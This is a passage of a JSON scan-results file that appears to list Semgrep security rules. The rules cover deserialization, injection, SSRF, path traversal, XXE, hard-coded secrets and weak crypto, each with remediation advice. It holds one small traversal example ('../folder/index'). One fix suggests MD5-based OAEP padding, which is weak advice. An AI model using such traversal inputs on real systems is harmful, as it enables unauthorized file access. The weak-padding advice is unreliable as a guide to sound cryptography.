file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","id":"python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","name":"python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"help":{"markdown":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf)\n","text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"helpUri":"https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","id":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","name":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","id":"java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","name":"java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior."},"help":{"markdown":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.sql.sqlilite-injection.swift-sqlite-injection)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior."},"helpUri":"https://semgrep.dev/r/swift.sql.sqlilite-injection.swift-sqlite-injection","id":"swift.sql.sqlilite-injection.swift-sqlite-injection","name":"swift.sql.sqlilite-injection.swift-sqlite-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: swift.sql.sqlilite-injection.swift-sqlite-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate."},"help":{"markdown":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","id":"swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","name":"swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)"},"helpUri":"https://semgrep.dev/r/javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","id":"javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","name":"javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-child-process.express-child-process)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)."},"helpUri":"https://semgrep.dev/r/javascript.express.express-child-process.express-child-process","id":"javascript.express.express-child-process.express-child-process","name":"javascript.express.express-child-process.express-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-child-process.express-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","id":"java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","name":"java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Key vault Secret should have a content type set"},"help":{"markdown":"Key vault Secret should have a content type set\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#content_type](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#content_type)\n - [https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets](https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets)\n","text":"Key vault Secret should have a content type set"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","id":"terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","name":"terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application."},"help":{"markdown":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.res-render-injection.res-render-injection)\n - [http://expressjs.com/en/4x/api.html#res.render](http://expressjs.com/en/4x/api.html#res.render)\n","text":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.res-render-injection.res-render-injection","id":"javascript.express.security.audit.res-render-injection.res-render-injection","name":"javascript.express.security.audit.res-render-injection.res-render-injection","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.res-render-injection.res-render-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pickle-django.tainted-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pickle-django.tainted-pickle-django","id":"python.django.deserialization.tainted-pickle-django.tainted-pickle-django","name":"python.django.deserialization.tainted-pickle-django.tainted-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pickle-django.tainted-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","id":"kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","name":"kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot."},"help":{"markdown":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.storage.storage-protections.swift-data-protection)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n","text":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot."},"helpUri":"https://semgrep.dev/r/swift.lang.storage.storage-protections.swift-data-protection","id":"swift.lang.storage.storage-protections.swift-data-protection","name":"swift.lang.storage.storage-protections.swift-data-protection","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.storage.storage-protections.swift-data-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead."},"help":{"markdown":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.rsa-padding-set.rsa-padding-set)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.rsa-padding-set.rsa-padding-set","id":"scala.lang.security.audit.rsa-padding-set.rsa-padding-set","name":"scala.lang.security.audit.rsa-padding-set.rsa-padding-set","properties":{"precision":"very-high","tags":["CWE-780: Use of RSA Algorithm without OAEP","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.rsa-padding-set.rsa-padding-set"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.secure-false.secure-false)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.secure-false.secure-false","id":"csharp.lang.audit.cookies.secure-false.secure-false","name":"csharp.lang.audit.cookies.secure-false.secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.secure-false.secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","id":"csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","name":"csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true."},"help":{"markdown":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.force-ssl-false.force-ssl-false)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_force_ssl.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_force_ssl.rb)\n","text":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.force-ssl-false.force-ssl-false","id":"ruby.lang.security.force-ssl-false.force-ssl-false","name":"ruby.lang.security.force-ssl-false.force-ssl-false","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.force-ssl-false.force-ssl-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep 